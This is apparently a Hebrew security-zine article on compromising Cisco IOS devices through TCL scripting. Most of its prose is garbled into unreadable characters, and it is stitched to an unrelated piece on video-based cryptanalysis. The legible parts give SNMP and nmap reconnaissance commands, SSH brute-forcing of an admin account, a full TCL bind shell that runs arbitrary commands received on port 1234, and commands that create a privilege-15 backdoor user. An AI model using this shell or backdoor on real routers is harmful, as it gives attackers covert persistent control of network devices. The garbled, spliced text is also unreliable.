˸ˣ˟ˣ˸˩ Σ˸ˣ˞˪˟˦ ˟ˣ˸˧ˮΣ ˫˧˷ˬ˸˷ˬ ˡˣ˰ˣ ˸ˣ˪ˣ˰˲ ˸ˣ˷˰ˣ˶ )˸ˣ˰˴ˬ˞˟ ˫˧˪˩ ˣˬ˩ SNMPWalkό. 

¶ ARP π ˪ˣ˵ˣ˦ˣ˶˲ ˸˶ˬˢ˪ ˸ˣ˟ˣ˸˩ IP ˸ˣ˟ˣ˸˩˪ MAC ˨˶ˣ˴˪ ˸˶ˣ˷˵˸ ˸˷˶˟Φ ˸ˣ˰˴ˬ˞˟ ˸ˣ˦˵˲ ˣ˪˞ 

˶˷˲˞ ˸ˣˢˤ˪ ˧˟˧˩˶ ˸˷˶ ˢ˧ˠˣ˪ˣ˲ˣ˦ˣ ˸˧˸˷˶Φ 

¶ FTPκTELNET π ˫˧˪ˣ˵ˣ˦ˣ˶˲ ˞˪ ˫˧ˮ˲˴ˣˬ ˫ˢ˟˷ ˸ˣ˞ˬ˯˧˯ˢ ˸ˣ˶˟ˣ˰ ˸˶ˣ˴˸˟ PLAINTEXTΦ 

Reconnaissance - ˧˟˧˦˵˞Υ 
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˸˵˧˶˯ ˸˷˶ˢ ˸ˣ˰˴ˬ˞˟ NMAP ˸˶˷˲˞ˬ ˸ˣˢˤ˪ ˫˧˦˶ˣ˲ ˫˧˥ˣ˸˲ ˸ˣ˩˶˰ˬˣ ˢ˪˰˲ˢ ˪˷ ˫˧˟˧˩˶ˢ ˸˷˶˟Φ 

NMAP π ˧˪˩ ˶˷˲˞ˬˢ ˸˵˧˶˯ ˸˷˶ ˸ˣ˰˴ˬ˞˟ ˸ˣ˵˧˶˯ SYN ΣUDP ˡˣ˰ˣ ΦΦΦ˧˪˩ˢ ˶˷˲˞ˬ ˸˵˧˶˯ ˸ˣ˟ˣ˸˩ 

˸˷˶˟ ˸ˣ˰˴ˬ˞˟ ˫˧˦˲˧˶˵˯ ˫˧˧˦˪ˣ˲˧ˡ Σˣˬ˩ ˧ˣˢ˧ˤ ˸ˣ˷˪ˣ˥ x˞ ˸ˣ˩˶˰ˬ ˢ˪˰˲ˢΥ 

nmap - O - sV 10.0.0.1  

˸ˣ˰˴ˬ˞˟ ˧ˣˢ˧ˤ ˸˩˶˰ˬˢ ˢ˪˰˲ˢ Σ˶˷˲˞ ˸˰ˡ˪ ˫˞ ˶˟ˣˡˬ ˟˧˩˶˟ ˸˷˶ ˧ˣ˴˶ x˞ ˟˧˩˶ˬ ˶˥˞Φ ˢˡ˧ˬ˟ ˣˢˣˤˣ 

˫˧˦˶ˣ˲ ˫˧˸ˣ˶˧˷ˣ ˣˬ˩ SSHκǘŜƭƴŜǘ Σ˰ˡˮ ˭˸˧ˮ˷ ˶˟˥˸ˢ˪ ˟˧˩˶˪ ˧ˣ˴ˬˢΦ 

˫˞ ˢ˴˶ˮ ˰˴˟˪ Reconnaissance ˶˸ˣ˧ ˷˰ˣ˶ Σ˭˸˧ˮ ˷ˬ˸˷ˢ˪ ˫˧˪˩˟ ˣˬ˩ SNMPWalk Σˣ˞ SNMPGet Φˣ˪˞ 

˧˪˩ ˢ˧˴ˤ˧ˬˣ˦ˣ˞ ˸˥˧˪˷˪ ˸ˣ˦˵˲ SNMPπGETΣ ˭˸˶˦ˬ˷ ˱ˣ˯˞˪ ˰ˡ˧ˬ ˪˰ ˫˧˟˧˩˶ˢ ˫˧ˬ˧˧˵ˢ ˸˷˶˟ Φ˫˧˪˩ ˣ˪˞ 

˫˧˪ˣ˩˧ ˱ˣ˷˥˪ ˰ˡ˧ˬ ˣˬ˩ ˸ˣˬ˷ ˫˧˶˧˷˩ˬ Σ˸ˣ˞˯˶ˠ ˢˮ˩ˣ˸ Σ˫˧ˬˣ˵˧ˬ ˡˣ˰ˣ Φˢ˧˰˟ˢ ˞˧ˢ, ˷ˣˬ˧˷˷ ˸˶ˣ˷˵˸˟ 

SNMP ˪ˣ˪˰ ˸ˣ˧ˢ˪ ˷˰ˣ˶ Σˢˬ ˪ˣ˩˧˷ ˣ˲ˣ˯˟ ˪˷ ˶˟ˡ ˱ˣ˷˥˪ ˣˮ˸ˣ˞Φ 

˧ˢˣˤ ˸˴˶ˢ ˢˡˣ˵˲ ˪˷ ˧˪˩ SNMPWALKΥ 

snmpwalk - v 2c - c public 10.0.0.1  

ˣˮ˶ˡˠˢ x˟ ˸˞ ˸˞˯˶ˠ sSNMP- ˸˞ˣ sπŎƻƳƳǳƴƛǘȅ ǎǘǊƛƴƎ ˣ˪˷Φ ˦˪˲ˢ ˠ˧˴˧ ˰ˡ˧ˬ ˪˰ ˟˧˩˶ˢ Σˣˬ˩ ˸˩˶˰ˬ 

ˢ˪˰˲ˢ ˞ˬˠˣˡ˪ Σˢ˶ˣ˴˟ ˢ˞˟ˢΥ 

SNMPv2-MIB::sysDescr.0 = STRING: Cisco IOS XE Software, Version 17.3.1 

 

Connection 

˸ˣ˶˟˥˸ˢˢ ˟˧˩˶˪ ˰˴˟˸˸ ˸ˣ˰˴ˬ˞˟ ˫˧˦˶ˣ˲ˢ SSHκǘŜƭƴŜǘ Φ˭˸˧ˮ ˸ˣ˷˰˪ ˸˞ˤ ˫˰ ˷ˣˬ˧˷ ˷ˬ˸˷ˬ˟ ˨ˣ˸ˬ 

˭˧˧ˬˣˡˢ x˞ ˷ˬ˸˷ˬ ˧˪˞˵ˣ˪ Σˣ˪˧˲˞ ˧˦˪ˣ˲˧ˡ Φ˭˟ˣˬ˩ ˡ˧ˬ˸˷ ˶˷˲˞ ˸ˣ˯ˮ˪ ōǊǳǘŜπŦƻǊŎŜ ˪˰ ˷ˬ˸˷ˬ ˫˷˟ 

ŀŘƳƛƴ Σ˪˟˞ ˢˤ ˶˟˩ ˣ˧˪˞ˬ ˶ˣ˶˟ ˟˪˷˟ ˢˤ: 

ssh admin@10.0.0.1  

 

Exploitation 

˰˴˟ˮ ˪ˣ˴˧ˮ ˶˷˲˞˧˷ ˣˮ˪ ˢˤ˧˥˞ ˟˧˩˶˟ Φ˭˸˧ˮ ˰˴˟˪ ˸˞ˤ ˸ˣ˰˴ˬ˞˟ ˦˲˧˶˵˯ TCL π ˟˩ˣ˩ˢ ˪˷ ˶ˬ˞ˬˢΦ 

˦˲˧˶˵˯ˢ ˞˟ˢ ˞ˣˢ ˠˣ˶ˡ˷ ˶˧˰ˤ ˦˲˧˶˵˯˪ ˪˷ TCLSHELL v0.1 by Andy Davis Φ˦˲˧˶˵˯ ˢˤ ˶˷˲˞ˬ ˸˶˧˴˧ 

Remote Shell ˪˰ ˟˧˩˶ˢ ˱˵˸ˮˢ ˳˧˶ˢ˪ˣ ˸ˣˡˣ˵˲ ˣ˧˪˰ ˵ˣ˥˶ˬΦ 
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ˣˬ˧˷ ˟˪ ˦˲˧˶˵˯˪ ˞˟ˢ: 

proc callback { sock addr port } {  
    fconfigure $sock - translation lf - buffering line  
 
    # Display basic system information  
    set response [ catch { exec "sh version | include IOS" } result]  
    puts $sock "System Info: $resulst"  
 
    set response [ catch { exec "sh privilege" } result]  
    puts $sock "Current Privilege Level: $result \ n"  
 
    puts $sock "Enter IOS command:"  
    fileevent $sock readable [ list process_comamnd $sock]  
}  
 
proc process_comamnd { sock } {  
    if {[ eof $sock] || [ catch { gets $sock line}]} {  
        close $sock  
        return  
    }  
    set response [ catch { exec "$line" } result]  
    puts $sock $result  
}  
 
#Define listening port  
set port 1234 
set sh [ socket - server callback $port]  
puts "TCL Shell listening on port $port..."  
vwait forever  
close $sh 

ˣ˞ˣ˟ ˢ˞˶ˮ ˨˧˞ ˞ˣˢ ˡ˟ˣ˰ .˦˲˧˶˵˯ˢ ˪˰ˣ˲ ˩πSHELL ˨ˣ˸ˬ ˟˧˩˶ˢ ˶˷˲˞ˬ˷ ˢˮˤ˞ˢ ˪˰ ˦˶ˣ˲ˢ ˸˴˶ˢˣ 

˸ˣˡˣ˵˲ ˸ˣ˵˥ˣ˶ˬΦ 

˪˩ ˶ˣ˟˧˥ ˦˶ˣ˲˪ мноп ˳˧˶ˬ ˸˞ ˸˧˧˴˵ˮˣ˲ CALLBACK Φˢ˸˶˦ˬ ˳˧˶ˢ˪ ˸ˣˡˣ˵˲ ˸ˣ˧˯˧˯˟ ˣˬ˩ ˸ˠ˴ˢ ˢ˯˶ˠ Σ

˸ˬ˶ ˸ˣ˞˷˶ˢ ˡˣ˰ˣ, ˰ˠ˶˟ ˪˷ ˶ˣ˟˧˥ ˦˶ˣ˲˪ мноп Φ˱˯ˣˮ˟, ˞˧ˢ ˸˶˷˲˞ˬ ˧ˬ˪ ˭˧ˤ˞ˬ˷ ˪˰ ˦˶ˣ˲ˢ Σ˯˧ˮ˩ˢ˪ 

ˡˣ˵˲˪˰ ˳ˣ˶˸˷ ˢ˟˧˩˶ˢΦ ˢ ˤ˞ˣ ˶ˤ˥ˣˬ ˢˡˣ˵˲ˢ ˪˷ ˦˪˲ˢ-Shell ) ˫˧˲˯ˣˮ ˶ˣ˟˧˥˪ ˭˧˸ˬˬvwait 

forever.(˦˲˧˶˵˯ˢ ˨˧˷ˬ˧ ˳ˣ˶˪ ˡ˰ ˟˧˩˶ˢ˷ ˞˪ ˢ˟˩˧˧ x˞ ˪˥˸ˣ˧ ˷ˡ˥ˬΦ 

 

Backdooring 

˸˲˯ˣˢ ˟˧˸ˮ ˢ˯˧ˮ˩ ˧ˡˣ˯ ˶˷˲˞˧˷ ˶ˣˤ˥˪ ˟˧˩˶˪ ˫˰ ˷ˬ˸˷ˬ ˷ˡ˥ ˵ˤ˥ˣ Φ˪˩ ˢˤ ˸ˣ˰˴ˬ˞˟ Σ˭˟ˣˬ˩ Σ˦˲˧˶˵˯ 

TCL Σ˱˧˯ˣ˧˷ ˳˟ˣ˵˪ ˢ˧˴˶ˣˠ˧˲ˮˣ˵ˢ ˪˷ ˟˧˩˶ˢ ˷ˬ˸˷ˬ ˧˪˞˵ˣ˪ ˪˰˟ ˸ˣ˞˷˶ˢ ˧˩ˢ ˸ˣˢˣ˟ˠ ˫˰ ˢˬ˯˧˯: 

puts [ run_command "configure terminal" ]  
puts [ run_command "username backdoor privilege 15 secret Attacker123" ]  
puts [ run_command "exit" ]  
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Lateral Movement 

˷˧ ˢˬ˩ ˸ˣ˧ˣ˶˷˲˞ ˣ˶˷˲˞˧˷ ˪˴ˮ˪ ˸˞ ˢˤ˧˥˞ˢ ˪˰ ˟˧˩˶ ˸˶ˣ˷˵˸Υ 

мΦ CVE π ˫˧ˬ˧˧˵ˢ ˪˰ ˧˟˧˩˶ Cisco ˶˷˲˞ˬ˷˫˧ ˸˴˶ˢ ˡˣ˵ TCLΣ s˪˴ˮˬ ˸˞ ˶˯ˣ˥ sˢ˧˴ˡ˧˪ˣ ˪˷ ,˦˪˲ˢ 

˶˷˲˞ˬˣ ˸˞˪˰ˢ ˸ˣ˞˷˶ˢ ˷ˬ˸˷ˬˬ ˵ˤ˥ ˪πǊƻƻǘ Φ˶˟ˡ ˢˤ ,˞ˬˠˣˡ˪ ˪ˣ˩˧ ˶˷˲˞˪ ˸˞˴ˣˢ ˸ˣ˞ˬ˯˧˯ ˪˷ 

˫˧˷ˬ˸˷ˬ ˫˧˶˟ˣ˥ˬˢ ˟˧˩˶˪ Σ˸ˣ˰˴ˬ˞˟ ˳˟ˣ˵ ǎƘŀŘƻǿΦ 

нΦ VLAN hopping π ˧ˢˣˤ ˢ˲˧˵˸ ˸˪˴ˮˬ˷ ˸ˣ˶ˡˠˢ ˞˪ ˸ˣˮˣ˩ˮ ˪˷ -VLAN˫˧ ˸˷˶˟ ύVirtual LAN Φό˭˸˧ˮ 

˰˴˟˪ ˢ˸ˣ˞ ˸ˣ˰˴ˬ˞˟ ˸ˣ˵˧ˮ˩˦ ˸ˣˮˣ˷ Σˣˬ˩ Double Tagging x˞ ˪ˣ˴˧ˮ ˪˷ ˶ˣ˟˧˥ ǘǊǳƴƪ ύ˶ˣ˷˲˧˞ ˪˷ 

ˢˬ˩ -VLAN˫˧ ˭˧˟ ˧˟˧˩˶ ˱˯ˣˮ ˠˣ˧˸ ˞˪˪ ˸˷˶ Φό˸ˣ˵˧ˮ˩˦ ˣ˪˞ ˸ˣ˶˷˲˞ˬ ˸ˣ˦˷˲˸ˢ ˸˷˶˟ ˢ˷˧ˠˣ 

˫˧˶ˣˤ˧˞˪ ˣ˧ˢ˷ ˫˧˪ˣ˪˰ ˸ˣ˧ˢ˪ ˫˧ˬˣ˯˥ ˧ˮ˲˪ Φ˭ˣ˧˪ˠ˟ s-мнт ˫˯˶ˣ˲  ˰ˣ˴˧˟˪ ˸ˣˮˣ˷ ˸ˣ˵˧ˮ˩˦ ˠ˧˴ˬˢ ˶ˬ˞ˬ

VLAN Hopping. 

 

˦ˣ˶˧˲ ˪˰ sπCVE ˣ˞˴ˬˮ˷ ˪˰ ˧˟˧˩˶ Cisco Σ˫˧˪˴ˣˮˬˢ ˸ˣ˰˴ˬ˞˟ TCLΥ 

CVE-2022-20676 & CVE-2020-3204 π ˧˸˷ ˸ˣ˷˪ˣ˥ˢ ˣ˪˞ˢ ˸ˣ˶˷˲˞ˬ ˢ˰˲ˣ˸ ˸˲˸ˣ˷ˬ π ˸˞˪˰ˢ 

˸ˣ˞˷˶ˢ ˪-Ǌƻƻǘ ˸ˣ˰˴ˬ˞˟ ˸˴˶ˢ ˦˲˧˶˵˯ TCLΦ ˶ˬˣ˪˩, ˸˵ˮ˰ˢ ˢ˷˧ˠ ˢ˞˪ˬ ˸˩˶˰ˬ˪ Φˢ˧˰˟ˢ ˸˰˟ˣˮ ˶˯ˣ˥ˬ 

˸ˣˬ˧˞ ˪˷ ˦˪˵ ˟πTCL interpreter ύ˷˶˲ˬόΣ˶˷˲˞ˬ˷ ˱˵ˣ˸˪ ˭˧ˤˢ˪ ˸ˣˡˣ˵˲ ˣˬ˯˵ˬ˧˷ ˸˞ ˸ˬ˶ ˸ˣ˞˷˶ˢˢ 

ˣ˪˷ Φ˸˰˩ sπŜȄǇƭƻƛǘǎ ˫ˬ˴˰ ˞˪ ˣˬ˯˶ˣ˲ ˦ˮ˶˦ˮ˧˞˟ ˭˧˞ˣ ˰ˡ˧ˬ ˪˰ ˪ˣ˴˧ˮˢ ˪˷ ˸ˣ˷˪ˣ˥ˢ ˣ˪˞ˢΦ 

 

˫ˣ˩˧˯ 

˸˲˷ s˫˧˦˲˧˶˵˯ TCL ˞˧ˢ ˦˪˥ˢ˟ ˧˪˩ ˷ˬˬ ˥ˣˮ ˶ˣ˟˰ ˫˧˷ˮ˞ ˫˧ˡ˟ˣ˰˷ ˫˰ ˧˟˧˩˶ ˸˶ˣ˷˵˸ ˢ˶ˣ˴˟ ˢ˰ˣ˟˵ Σ

˨˞ ˫ˠ ˪ˣ˩˧ ˸ˣˣˢ˪ ˧˪˩ ˭˩ˣ˯ˬ ˫˧˧ˡ˧˟ ˞˪ ˸ˣ˟ˣ˦ Σ˫ˣ˷ˬ ˷˞ˣˢ ˶˷˲˞ˬ ˪ˣ˴˧ˮ ˢ˪ˣ˰ˬ ˪˷ ˪˩ ˸ˣˮˣ˶˯˥ˢ 

˫˧˧˸˥˦˟˞ˢ ˧˟˧˩˶˟ ˸˶ˣ˷˵˸ Φˢ˟˧˯ˢˬ ˣˤˢ ύ˫ˠˣ ˢ˟˧˯ˢˬ ˸ˮ˟ˣˬˢ ˣ˧˪˞ˬόΣ ˷˧ ˨˶ˣ˴ ˭ˣ˩ˡ˰˟ ˸ˣ˩˶˰ˬ ˢ˪˰˲ˢ 

˪˷ ˧˟˧˩˶ ˸˶ˣ˷˵˸ Σ˫˧˶˵ˬ˟ ˫˧ˬ˧˧ˣ˯ˬ ˫ˠ ˢ˶ˬˣ˥ Σˢ˶˧ˬ˷ ˪˰ ˸ˣ˧˴˶ˣˠ˧˲ˮˣ˵ ˸ˣˮ˧˵˸ ˸ˣ˥˦˟ˣ˞ˬˣ ˭˟ˣˬ˩ˣ π 

ˢ˧˴˦ˮˬˠ˯ ˢˮˣ˩ˮ xACL-Σ ˞˪˷ ˣ˶˷˲˞˧ ˪˩˪ ˡ˥˞ ˶˟˥˸ˢ˪ ˧˟˧˩˶˪ ˸˶ˣ˷˵˸ J 

 

https://www.digitalwhisper.co.il/files/Zines/0x7F/DW127-1-VLANHopping.pdf
https://www.digitalwhisper.co.il/files/Zines/0x7F/DW127-1-VLANHopping.pdf
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˸ˣ˶ˣ˵ˬ ˰ˡ˧ˬ 

¶ https://www.tcl-lang.org/ 

¶ https://www.cisco.com/c/en/us/td/docs/switches/datacenter/nexus9000/sw/6-

x/programmability/guide/b_Cisco_Nexus_9000_Series_NX-

OS_Programmability_Guide/b_Cisco_Nexus_9000_Series_NX-

OS_Programmability_Configuration_Guide_chapter_0111.pdf 

¶ https://nvd.nist.gov/vuln/detail/cve-2022-

20676#:~:text=This%20vulnerability%20is%20due%20to,execute%20arbitrary%20commands

%20as%20root 

¶ https://he.wikipedia.org/wiki/Tcl 

¶ https://www.cisco.com/c/en/us/support/docs/csa/cisco-sa-iosxe-priv-esc-grbtubU.html 

¶ https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/ios_tcl/configuration/12-4t/ios-tcl-12-

4t-book/nm-script-tcl.html 

¶ https://dfi.lists.bugtraq.narkive.com/PoSdEsgr/creating-backdoors-in-cisco-ios-using-tcl 

¶ https://blog.ipspace.net/2008/03/tcl-based-ios-backdoor/ 

 
 
 

  

https://www.tcl-lang.org/
https://www.cisco.com/c/en/us/td/docs/switches/datacenter/nexus9000/sw/6-x/programmability/guide/b_Cisco_Nexus_9000_Series_NX-OS_Programmability_Guide/b_Cisco_Nexus_9000_Series_NX-OS_Programmability_Configuration_Guide_chapter_0111.pdf
https://www.cisco.com/c/en/us/td/docs/switches/datacenter/nexus9000/sw/6-x/programmability/guide/b_Cisco_Nexus_9000_Series_NX-OS_Programmability_Guide/b_Cisco_Nexus_9000_Series_NX-OS_Programmability_Configuration_Guide_chapter_0111.pdf
https://www.cisco.com/c/en/us/td/docs/switches/datacenter/nexus9000/sw/6-x/programmability/guide/b_Cisco_Nexus_9000_Series_NX-OS_Programmability_Guide/b_Cisco_Nexus_9000_Series_NX-OS_Programmability_Configuration_Guide_chapter_0111.pdf
https://www.cisco.com/c/en/us/td/docs/switches/datacenter/nexus9000/sw/6-x/programmability/guide/b_Cisco_Nexus_9000_Series_NX-OS_Programmability_Guide/b_Cisco_Nexus_9000_Series_NX-OS_Programmability_Configuration_Guide_chapter_0111.pdf
https://nvd.nist.gov/vuln/detail/cve-2022-20676#:~:text=This%20vulnerability%20is%20due%20to,execute%20arbitrary%20commands%20as%20root
https://nvd.nist.gov/vuln/detail/cve-2022-20676#:~:text=This%20vulnerability%20is%20due%20to,execute%20arbitrary%20commands%20as%20root
https://nvd.nist.gov/vuln/detail/cve-2022-20676#:~:text=This%20vulnerability%20is%20due%20to,execute%20arbitrary%20commands%20as%20root
https://he.wikipedia.org/wiki/Tcl
https://www.cisco.com/c/en/us/support/docs/csa/cisco-sa-iosxe-priv-esc-grbtubU.html
https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/ios_tcl/configuration/12-4t/ios-tcl-12-4t-book/nm-script-tcl.html
https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/ios_tcl/configuration/12-4t/ios-tcl-12-4t-book/nm-script-tcl.html
https://dfi.lists.bugtraq.narkive.com/PoSdEsgr/creating-backdoors-in-cisco-ios-using-tcl
https://blog.ipspace.net/2008/03/tcl-based-ios-backdoor/
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˞ˣ˟ˬ ˢˤ˧˪ˮ˞ˣ˦˲˧˶˵˪ ˸˯˯ˣ˟ˬ ˣ˞ˡ˧ˣ 

˸˞ˬ ˶˟ ˭˞˧˪˲ˣ˦ 

 

ˢˬˡ˵ˢ 

˸˧˷˞˶ Σ˟ˣ˷˥ ˧˪ ˭˧˧˴˪ ˧˩ ˶ˬ˞ˬˢ ˯˯ˣ˟ˬ ˪˰ ˢˡˣ˟˰ˢ ˸˶ˡˢˮˢ ˪˷ ˸˴ˣ˟˵ ˫˧˶˵ˣ˥ˢ[1] ˢ˵˪˥ˬˢˬ ˸˯ˡˮˢ˪ 

˸ˣ˩˶˰ˬ ˢˮ˩ˣ˸ ˰ˡ˧ˬˣ ˸˦˧˯˶˟˧ˮˣ˞˟ ˭˟π˭ˣ˧˶ˣˠ ˟ˠˮ˟˷ Σˢˬ˯˶ˣ˲˷ ˸ˮ˷˟ нлно Σ˸˥˸ ˸˶˸ˣ˩ˢ ϦVideo-

Based Cryptanalysisύ Ϧˢˤ˧˪ˮ˞ˣ˦˲˧˶˵ ˸˯˯ˣ˟ˬ ˣ˞ˡ˧ˣ Φό˭˧˟ˬ ˫˧˶˵˥ˬˢ ˫˧˟˶ˢ ˫ˣ˥˸˟ Σ˦˶˲˟ˣ ˣ˪˞ 

ˣˬ˯˶ˣ˲˷ ˪˰ ˧ˡ˧ ˸ˣˡ˟˰ˬ ˶˵˥ˬˢ ˸˦˧˯˶˟˧ˮˣ˞˟ ˭˟π˭ˣ˧˶ˣˠ ˟ˠˮ˟˷ Σ˶ˬ˞ˬˢ ˠ˧˧˯˷ ˣˬ˴˰˪ ˸ˣ˟˧˷˥ ˢ˟˶ Σ

ˢ˶ˢˬ˟˷ˣ ˶˟˴ ˢˡˣˢ˸ ˟˶˵˟ ˱ˮ˰ ˸˥˦˟˞ ˰ˡ˧ˬˢ ˢ˩ˤˣ ˡˣ˟˩˪ ˧ˣ˞˶ˢ x˪ Σ˞ˣˢ ˶ˬ˞ˬˢ ˵˯ˣ˰ˢ 

ˢˤ˧˪ˮ˞ˣ˦˲˧˶˵˟ ˸˯˯ˣ˟ˬ ˣ˞ˡ˧ˣ[2] Φ˶ˬ˞ˬˢ ˶˞˸ˬ ˢ˦˧˷ ˢ˷ˡ˥ Σ˸˶˷˲˞ˬˢ ˳ˣ˪˧˥ ˸ˣ˥˸˲ˬ ˫˧˧˲˶ˠˣ˦˲˧˶˵ Σ

˨ˣ˸ˬ ˥ˣ˸˧ˮ ˧ˮˣ˦˶˯ ˣ˞ˡ˧ˣ ˪˷ ˸˧˶ˣˮ LED ˫˧˶˧˷˩ˬˬ ˫˧ˡ˧˧ˮ Σ˶˷˞ ˫˧˲˵˷ˬ ˫˧˧ˣˮ˧˷ ˫˧˶˧˰ˤ ˸ˬ˴ˣ˰˟ ˶ˣ˞ˢ 

ˢ˞˴ˣ˸˩ ˫˧˟ˣ˷˧˥ˬ ˫˧˧˲˶ˠˣ˦˲˧˶˵ Φ 

˰˵˶  

˸˥˦˟˞ ˰ˡ˧ˬ ˞ˣˢ ˫ˣ˥˸ ˟˴˧ˮˢ ˸ˬˡ˵˟ ˸˧ˤ˥ˢ ˸˧ˠˣ˪ˣˮ˩˦ˢ Σˡˡˣˬ˸ˬˣ ˫˰ ˨˶ˣ˴ˢ ˨˪ˣˢˢ ˶˟ˣˠˢˣ ˶ˣˬ˷˪ ˪˰ 

˸ˣ˧ˡˣ˯ ˰ˣˮˬ˪ˣ ˢ˷˧ˠ ˞˪ ˸˧˷˶ˣˬ ˰ˡ˧ˬ˪ Φ˭ˡ˧˰˟ ˣˮ˪˷ Σ˸ˣˬ˩ ˫˧˷ˣˡ˧˥ˢ ˫˧˧ˠˣ˪ˣˮ˩˦ˢ Σ˰ˡ˧ˬˢ ˸ˣ˦˧˷ˣ ˡˣ˟˧˰ 

˫˧ˮˣ˸ˮˢ Σ˫˧˥˸˲˸ˬ ˟˴˵˟ ˶˶˥˯ˬ Φ˫˞˸ˢ˟ ˨˩˪ Σ˨˶ˣ˴ˢ ˢˮˠˢ˟ ˪˰ ˰ˡ˧ˬ Σˣ˸˶˧ˬ˷ˣ ˧ˮ˲ˬ ˪ˣ˴˧ˮ ˢ˰˶˪ ˪˰ ˧ˡ˧ 

˫˧ˬ˶ˣˠ ˫˧˧ˮˣ˴˧˥ Σ˨˲ˢ ˧ˮˣ˧˥˪ ˡ˧ˬ˸ˬΦ ˫ˣ˥˸ ˸˥˦˟˞ ˰ˡ˧ˬˢ ˪˪ˣ˩ ˣ˩ˣ˸˟ ˸˷˵ ˢ˟˥˶ ˸ˮˣˣˠˬˣ ˪˷ ˧˸˸ ˫˧˞˷ˣˮ 

˧ˬˣ˥˸ˣ ˶˵˥ˬ ˫˧ˮˣ˷ Σ˨˞ ˣˤ˩˶ˬ˟ ˫˧ˡˬˣ˰ ˧ˮ˷ ˫˧ˬˣ˥˸ ˫˧˧˶˵˧˰ Σ˫˧˶ˣˤ˷ˢ ˢˤ ˢˤ˟ ˣ˧ˡ˥˧Υ 

¶ ˢ˧˲˶ˠˣ˦˲˧˶˵ π ˸˵˯ˣ˰ˢ ˥ˣ˸˧˲˟ ˸ˣ˦˧˷ ˸˶ˣ˷˵˸˪ ˸˥˦˟˞ˣ ˫˧ˮˣ˸ˮΦ 

¶ ˢˤ˧˪ˮ˞ˣ˦˲˧˶˵ π ˸ˡ˵ˣˬˬˢ ˧ˣˢ˧ˤ˟ ˸ˣ˷˪ˣ˥ ˸ˣ˩˶˰ˬ˟ ˢ˧˲˶ˠˣ˦˲˧˶˵ˢ Σ˷ˣ˲˧˥˟ˣ ˶˥˞ ˫˧˩˶ˡ ˶ˣ˟˷˪ ˸˞ 

˭˸ˮ˲˴ˢΦ 

ˤ˞ˬ ˡ˧ˬ˸ˬˣ Σ˰ˡ˧ˬ ˭˲˴ˣˬ ˨˷ˣˬ ˸˞ ˸ˬˣ˷˸ ˫˟˪ ˪˷ ˢ˪˞ ˫˧˯ˮˬˢ ˥ˮ˰˲˪ ˣ˸ˣ˞ Φˢ˞˴ˣ˸˩ ˨˩ˬ Σ˸ˣ˥˸˲˸ˢ 

ˢ˧˲˶ˠˣ˦˲˧˶˵ˢ ύ˸ˣ˦˧˷ ˢˮ˲˴ˢ όˢˣˣ˪ˬ ˡ˧ˬ˸ ˸ˣˬˡ˵˸ˢ˟ ˢ˪˧˟˵ˬ ˢˤ˧˪ˮ˞ˣ˦˲˧˶˵˟ ύ˸ˣ˦˧˷ ˥ˣ˴˧˲ϦΦό˶˲˯ˬ˩ 

˫˧˪ˣ˵ˣ˦ˣ˶˲ˢ ˫˧˧˲˶ˠˣ˦˲˧˶˵ˢ ύˢˬ˧˸˥ ˸˧˪˦˧ˠ˧ˡ Σ˸ˣˬ˧˞ ˫˧˷ˬ˸˷ˬ ˞˴ˣ˧˩ˣ ˢˤ˟ Σό˶˲˯ˬ˩ˣ ˧ˮ˟˞ ˭˧˧ˮ˟ˢ 

˸ˣ˧˲˶ˠˣ˦˲˧˶˵ˢ ύˢˮ˲˴ˢ ˸˧˶˦ˬ˧˯ Σˢˮ˲˴ˢ ˞π˸˧˶˦ˬ˧˯ Σ˥˸˲ˬ ˧˟ˬˣ˲ ˡˣ˰ˣ Σό˨˩ ˭˶˲˯ˬ ˪˷ ˸ˣ˦˧˷ˢ 

˸ˣ˧˦˧˪ˮ˞ˣ˦˲˧˶˵ˢΦ 

˧˲˩ ˢ˧˲˶ˠˣ˦˲˧˶˵˷ ˸ˮ˸˧ˮ ˷ˣˬ˧ˬ˪ ˭s ˢ˶ˬˣ˥˟ ˭ˢˣ ˢˮ˩ˣ˸˟ Σ˭˲ˣ˞˟ ˢˬˣˡ ˸˪ˢˮ˸ˬ ˢˤ˧˪ˮ˞ˣ˦˲˧˶˵ˢΦ 
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ˢ˲˧˞ ˪˩ ˢˤ ˷ˠˣ˲ ˣˮ˸ˣ˞ Κˢˬˣ ˢ˲ˣ˴ ˡ˧˸˰ˢΚ 

˸ˣˬ˪˴ˬ ˣ˞ˡ˧ˣ ˫ˣ˧˩ ˭s ˸˪˥ˮ ˪˪˩ˢ Σ˦˰ˬ˩ ˪˩ ˫ˡ˞ ˵˧ˤ˥ˬ ˶˧˷˩ˬ ˪˰˟ ˢˬ˪˴ˬ ˯˧˩˟ ˪˷ ˯ˮ˩ˬˢ Φ˸ˣˬ˪˴ˬ 

ˣ˞ˡ˧ˣ Σ˞˪˪˷ ˵˲˯ ˣ˩˲ˢ ˠˣ˯˪ ˫˧ˮ˷˧˧˥ˢ ˳ˣ˲ˮˢ ˶˸ˣ˧˟ ˸˰˟ ˣˤˢ Σ˸ˣ˟˪ˣ˷ˬ ˭ˣˣˠˬ˟ ˸ˣ˩˶˰ˬ ˫˧˶˧˷˩ˬˣ 

ύ˫˧˶˧˷˩ˬ ˫˧ˡ˧˧ˮ Σ˫˧˟˩˶ Σ˫˧ˮ˲˥˶ Σ˸ˣˮˣ˩ˬ ˸ˣ˞˵˷ˬ Σ˫˧˦ˬˣ˲˯˩ Σ˸ˣ˩˶˰ˬ ˢ˥˦˟˞ ˡˣ˰ˣ ˭˧˞ ˶ˣ˲˯ ˫˧˲˯ˣˮ Σό

˱˞ˣ ˸ˣ˟˪ˣ˷ˬ ˸ˣ˟˧˟˯˟ ˸ˣˮˣ˷ˢ ύ˪˷ˬ˪ Σˢ˶ˣ˟˥˸ ˸˧˶ˣ˟˧˴ Σ˫˧˸˟ Σ˫˧ˡ˶˷ˬ Σ˫˧˵˯˰ ˫˧˷˧˟˩ˣ Φό˷ˣˬ˧˷ˢ 

˟˥˶ˮˢ ˸ˣˬ˪˴ˬ˟ ˣ˞ˡ˧ˣ Σ˭˸˰ˬ˦ˢˣ ˪˩˟ ˫ˣ˵ˬ ˣˮ˸˟˧˟˯˟ ˸˧ˬˣ˧ˬˣ˧ˢ Σ˫˶ˠ ˨˩˪ ˦˰ˬ˩˷ ˞˪ ˭˸˧ˮ ˥ˣ˶˟˪ ˭˧˦ˣ˪˥˪ 

